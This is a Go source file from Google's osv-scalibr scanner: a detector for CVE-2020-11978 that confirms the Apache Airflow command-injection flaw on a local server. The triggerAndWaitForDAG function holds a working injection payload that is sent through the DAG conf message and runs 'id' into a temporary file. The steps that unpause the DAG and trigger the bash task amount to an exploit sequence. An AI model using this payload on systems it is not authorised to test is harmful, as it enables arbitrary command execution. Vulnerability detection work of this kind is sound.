github.com/google/osv-scalibr@v0.4.1/detector/cve/untested/cve202011978/cve202011978.go (about) 1 // Copyright 2025 Google LLC 2 // 3 // Licensed under the Apache License, Version 2.0 (the "License"); 4 // you may not use this file except in compliance with the License. 5 // You may obtain a copy of the License at 6 // 7 // http://www.apache.org/licenses/LICENSE-2.0 8 // 9 // Unless required by applicable law or agreed to in writing, software 10 // distributed under the License is distributed on an "AS IS" BASIS, 11 // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 // See the License for the specific language governing permissions and 13 // limitations under the License. 14 15 // Package cve202011978 implements a detector for CVE-2020-11978. 16 // This can be deployed by cloning https://github.com/pberba/CVE-2020-11978 17 // and running docker-compose up in the directory. 18 package cve202011978 19 20 import ( 21 "bytes" 22 "context" 23 "encoding/json" 24 "errors" 25 "fmt" 26 "io/fs" 27 "math/rand" 28 "net" 29 "net/http" 30 "os" 31 "strconv" 32 "strings" 33 "time" 34 35 "github.com/google/osv-scalibr/detector" 36 "github.com/google/osv-scalibr/extractor" 37 "github.com/google/osv-scalibr/extractor/filesystem/language/python/wheelegg" 38 scalibrfs "github.com/google/osv-scalibr/fs" 39 "github.com/google/osv-scalibr/inventory" 40 "github.com/google/osv-scalibr/log" 41 "github.com/google/osv-scalibr/packageindex" 42 "github.com/google/osv-scalibr/plugin" 43 44 osvpb "github.com/ossf/osv-schema/bindings/go/osvschema" 45 structpb "google.golang.org/protobuf/types/known/structpb" 46 ) 47 48 type airflowPackageNames struct { 49 packageType string 50 name string 51 affectedVersions []string 52 } 53 54 const ( 55 // Name of the detector. 56 Name = "cve/cve-2020-11978" 57 58 airflowServerIP = "127.0.0.1" 59 airflowServerPort = 8080 60 defaultTimeout = 5 * time.Second 61 schedulerTimeout = 10 * time.Second 62 loopTimeout = 2 * time.Minute 63 ) 64 65 var ( 66 seededRand = rand.New(rand.NewSource(time.Now().UnixNano())) 67 randFilePath = "/tmp/" + randomString(16) 68 airflowPackages = []airflowPackageNames{ 69 { 70 packageType: "pypi", 71 name: "apache-airflow", 72 affectedVersions: []string{ 73 "1.10.10", 74 "1.10.10rc5", 75 "1.10.10rc4", 76 "1.10.10rc3", 77 "1.10.10rc2", 78 "1.10.10rc1", 79 "1.10.9", 80 "1.10.9rc1", 81 "1.10.8", 82 "1.10.8rc1", 83 "1.10.7", 84 "1.10.7rc3", 85 "1.10.7rc2", 86 "1.10.7rc1", 87 "1.10.6", 88 "1.10.6rc2", 89 "1.10.6rc1", 90 "1.10.5", 91 "1.10.5rc1", 92 "1.10.4", 93 "1.10.4rc5", 94 "1.10.4rc4", 95 "1.10.4rc3", 96 "1.10.4rc2", 97 "1.10.4rc1", 98 "1.10.4b2", 99 "1.10.3", 100 "1.10.3rc2", 101 "1.10.3rc1", 102 "1.10.3b2", 103 "1.10.3b1", 104 "1.10.2", 105 "1.10.2rc3", 106 "1.10.2rc2", 107 "1.10.2rc1", 108 "1.10.2b2", 109 "1.10.1", 110 "1.10.1rc2", 111 "1.10.1b1", 112 "1.10.0", 113 "1.9.0", 114 "1.8.2", 115 "1.8.2rc1", 116 "1.8.1", 117 "1.7", 118 "1.6.2", 119 "1.6.1", 120 "1.6.0", 121 "1.5.2", 122 "1.5.1", 123 "1.5.0", 124 "1.4.0", 125 }, 126 }, 127 } 128 ) 129 130 // Detector is a SCALIBR Detector for CVE-2020-11978. 131 type Detector struct{} 132 133 // New returns a detector. 134 func New() detector.Detector { 135 return &Detector{} 136 } 137 138 // Name of the detector. 139 func (Detector) Name() string { return Name } 140 141 // Version of the detector. 142 func (Detector) Version() int { return 0 } 143 144 // Requirements of the detector. 145 func (Detector) Requirements() *plugin.Capabilities { 146 return &plugin.Capabilities{DirectFS: true, RunningSystem: true, OS: plugin.OSLinux} 147 } 148 149 // RequiredExtractors returns the python wheel extractor. 150 func (Detector) RequiredExtractors() []string { return []string{wheelegg.Name} } 151 152 // DetectedFinding returns generic vulnerability information about what is detected. 153 func (d Detector) DetectedFinding() inventory.Finding { 154 return d.findingForPackage(nil, nil) 155 } 156 157 func (Detector) findingForPackage(dbSpecific *structpb.Struct, pkg *extractor.Package) inventory.Finding { 158 airflowPkg := &extractor.Package{ 159 Name: "apache-airflow", 160 PURLType: "pipy", 161 } 162 return inventory.Finding{PackageVulns: []*inventory.PackageVuln{{ 163 Package: pkg, 164 Vulnerability: &osvpb.Vulnerability{ 165 Id: "CVE-2020-11978", 166 Summary: "CVE-2020-11978", 167 Details: "CVE-2020-11978", 168 Affected: inventory.PackageToAffected(airflowPkg, "1.10.11", &osvpb.Severity{ 169 Type: osvpb.Severity_CVSS_V3, 170 Score: "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", 171 }), 172 DatabaseSpecific: dbSpecific, 173 }, 174 }}} 175 } 176 177 func findairflowVersions(px *packageindex.PackageIndex) (string, *extractor.Package, []string) { 178 for _, r := range airflowPackages { 179 for _, p := range px.GetSpecific(r.name, r.packageType) { 180 return p.Version, p, r.affectedVersions 181 } 182 } 183 return "", nil, []string{} 184 } 185 186 // Scan checks for the presence of the airflow CVE-2020-11978 vulnerability on the filesystem. 187 func (d Detector) Scan(ctx context.Context, scanRoot *scalibrfs.ScanRoot, px *packageindex.PackageIndex) (inventory.Finding, error) { 188 airflowVersion, pkg, affectedVersions := findairflowVersions(px) 189 if airflowVersion == "" { 190 log.Debugf("No airflow version found") 191 return inventory.Finding{}, nil 192 } 193 194 isVulnVersion := false 195 for _, r := range affectedVersions { 196 if strings.Contains(airflowVersion, r) { 197 isVulnVersion = true 198 } 199 } 200 201 if !isVulnVersion { 202 log.Infof("Version %q not vuln", airflowVersion) 203 return inventory.Finding{}, nil 204 } 205 206 log.Infof("Found Potentially vulnerable airflow version %v", airflowVersion) 207 208 if !CheckAccessibility(ctx, airflowServerIP, airflowServerPort) { 209 log.Infof("Airflow server not accessible. Version %q not vulnerable", airflowVersion) 210 return inventory.Finding{}, nil 211 } 212 213 if !CheckForBashTask(ctx, airflowServerIP, airflowServerPort) { 214 log.Infof("Version %q not vulnerable", airflowVersion) 215 return inventory.Finding{}, nil 216 } 217 218 if !CheckForPause(ctx, airflowServerIP, airflowServerPort) { 219 log.Infof("Version %q not vulnerable", airflowVersion) 220 return inventory.Finding{}, nil 221 } 222 223 if !triggerAndWaitForDAG(ctx, airflowServerIP, airflowServerPort) { 224 log.Infof("Version %q not vulnerable", airflowVersion) 225 return inventory.Finding{}, nil 226 } 227 228 if !fileExists(scanRoot.FS, randFilePath) { 229 return inventory.Finding{}, nil 230 } 231 232 log.Infof("Version %q is vulnerable", airflowVersion) 233 234 err := os.Remove(randFilePath) 235 if err != nil { 236 log.Infof("Error removing file: %v", err) 237 } 238 239 dbSpecific := &structpb.Struct{ 240 Fields: map[string]*structpb.Value{ 241 "extra": {Kind: &structpb.Value_StringValue{StringValue: fmt.Sprintf("%s %s %s", pkg.Name, pkg.Version, strings.Join(pkg.Locations, ", "))}}, 242 }, 243 } 244 return d.findingForPackage(dbSpecific, pkg), nil 245 } 246 247 // doGetRequest does a GET request to the specified target URL and returns the response. 248 // 249 // If an error occurs, it will be logged and nil will be returned. 250 func doGetRequest(ctx context.Context, target string) *http.Response { 251 req, err := http.NewRequestWithContext(ctx, http.MethodGet, target, nil) 252 253 if err != nil { 254 log.Infof("Request failed: %v", err) 255 return nil 256 } 257 258 client := &http.Client{Timeout: defaultTimeout} 259 resp, err := client.Do(req) 260 261 if err != nil { 262 log.Infof("Request failed: %v", err) 263 return nil 264 } 265 266 return resp 267 } 268 269 // CheckAccessibility checks if the airflow server is accessible. 270 func CheckAccessibility(ctx context.Context, airflowIP string, airflowServerPort int) bool { 271 target := fmt.Sprintf("http://%s/api/experimental/test", net.JoinHostPort(airflowIP, strconv.Itoa(airflowServerPort))) 272 273 resp := doGetRequest(ctx, target) 274 if resp == nil { 275 return false 276 } 277 defer resp.Body.Close() 278 return true 279 } 280 281 // CheckForBashTask checks if the airflow server has a bash task. 282 func CheckForBashTask(ctx context.Context, airflowIP string, airflowServerPort int) bool { 283 target := fmt.Sprintf("http://%s/api/experimental/dags/example_trigger_target_dag/tasks/bash_task", net.JoinHostPort(airflowIP, strconv.Itoa(airflowServerPort))) 284 285 resp := doGetRequest(ctx, target) 286 if resp == nil { 287 return false 288 } 289 defer resp.Body.Close() 290 291 BashTaskPresence := resp.StatusCode == http.StatusOK 292 if !BashTaskPresence { 293 return false 294 } 295 296 var data map[string]any 297 if err := json.NewDecoder(resp.Body).Decode(&data); err != nil { 298 log.Infof("Error parsing JSON: %v", err) 299 return false 300 } 301 302 if _, exists := data["env"]; !exists { 303 log.Infof("Key 'env' does not exist in the JSON data") 304 return false 305 } 306 307 envValue, ok := data["env"].(string) 308 if !ok { 309 log.Infof("Value of 'env' is not a string") 310 return false 311 } 312 313 if !strings.Contains(envValue, "dag_run") { 314 log.Infof("Value of 'env' does not contain 'dag_run'") 315 return true 316 } 317 return false 318 } 319 320 // CheckForPause checks if the airflow server has a paused dag. 321 func CheckForPause(ctx context.Context, airflowIP string, airflowServerPort int) bool { 322 target := fmt.Sprintf("http://%s/api/experimental/dags/example_trigger_target_dag/paused/false", net.JoinHostPort(airflowIP, strconv.Itoa(airflowServerPort))) 323 324 resp := doGetRequest(ctx, target) 325 if resp == nil { 326 return false 327 } 328 defer resp.Body.Close() 329 return resp.StatusCode == http.StatusOK 330 } 331 332 // triggerAndWaitForDAG achieves command execution via DAG scheduling using the example bash task from above. 333 func triggerAndWaitForDAG(ctx context.Context, airflowIP string, airflowServerPort int) bool { 334 dagURL := fmt.Sprintf("http://%s/api/experimental/dags/example_trigger_target_dag/dag_runs", net.JoinHostPort(airflowIP, strconv.Itoa(airflowServerPort))) 335 payload := map[string]any{ 336 "conf": map[string]string{ 337 "message": fmt.Sprintf(`"; id > %s #`, randFilePath), 338 }, 339 } 340 341 jsonPayload, err := json.Marshal(payload) 342 if err != nil { 343 return false 344 } 345 346 req, err := http.NewRequestWithContext(ctx, http.MethodPost, dagURL, bytes.NewBuffer(jsonPayload)) 347 if err != nil { 348 return false 349 } 350 req.Header.Set("Content-Type", "application/json") 351 352 client := &http.Client{Timeout: defaultTimeout} 353 res, err := client.Do(req) 354 if err != nil { 355 if errors.Is(err, context.DeadlineExceeded) { 356 fmt.Println("Request timed out") 357 } else { 358 fmt.Println("Error making request:", err) 359 } 360 return false 361 } 362 defer res.Body.Close() 363 364 if res.StatusCode != http.StatusOK { 365 return false 366 } 367 368 var resBody map[string]any 369 if err := json.NewDecoder(res.Body).Decode(&resBody); err != nil { 370 return false 371 } 372 373 log.Infof("Successfully created DAG") 374 375 // Check for the existence of "message" and "execution_date" 376 if _, messagePresent := resBody["message"]; !messagePresent { 377 log.Errorf("Key 'message' not found in response body") 378 return false 379 } 380 381 log.Infof("\"%s\"\n", resBody["message"]) 382 383 if _, execDatePresent := resBody["execution_date"]; !execDatePresent { 384 log.Errorf("Key 'execution_date' not found in response body") 385 return false 386 } 387 388 waitURL := fmt.Sprintf( 389 "http://%s/api/experimental/dags/example_trigger_target_dag/dag_runs/%s/tasks/bash_task", 390 net.JoinHostPort(airflowIP, strconv.Itoa(airflowServerPort)), resBody["execution_date"], 391 ) 392 393 log.Infof("Waiting for the scheduler to run the DAG... This might take a minute.") 394 log.Infof("If the bash task is never queued, then the scheduler might not be running.") 395 396 startTime := time.Now() 397 for { 398 if time.Since(startTime) > loopTimeout { 399 log.Infof("Timeout reached (2 minutes). Probably stuck or not exploitable") 400 return false 401 } 402 time.Sleep(schedulerTimeout) 403 req, err := http.NewRequestWithContext(ctx, http.MethodGet, waitURL, nil) 404 405 if err != nil { 406 log.Infof("failed to build request: %v", err) 407 return false 408 } 409 410 res, err := http.DefaultClient.Do(req) 411 if err != nil { 412 log.Infof("failed to get task status: %v", err) 413 return false 414 } 415 416 var statusBody map[string]any 417 if err := json.NewDecoder(res.Body).Decode(&statusBody); err != nil { 418 log.Infof("failed to decode status response: %v", err) 419 return false 420 } 421 res.Body.Close() 422 423 log.Infof("statusBody: %v", statusBody) 424 status := statusBody["state"].(string) 425 switch status { 426 case "scheduled": 427 log.Infof("Bash task scheduled") 428 log.Infof("Waiting for the scheduler to run the DAG") 429 case "queued": 430 log.Infof("Bash task queued") 431 case "running": 432 log.Infof("Bash task running") 433 case "success": 434 log.Infof("Bash task successfully ran") 435 return true 436 case "None": 437 log.Infof("Bash task is not yet queued") 438 return false 439 default: 440 return false 441 } 442 } 443 } 444 445 func fileExists(filesys scalibrfs.FS, path string) bool { 446 _, err := fs.Stat(filesys, path) 447 return !os.IsNotExist(err) 448 } 449 450 func randomString(length int) string { 451 charSet := "aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ" 452 b := make([]byte, length) 453 for i := range b { 454 b[i] = charSet[seededRand.Intn(len(charSet)-1)] 455 } 456 return string(b) 457 }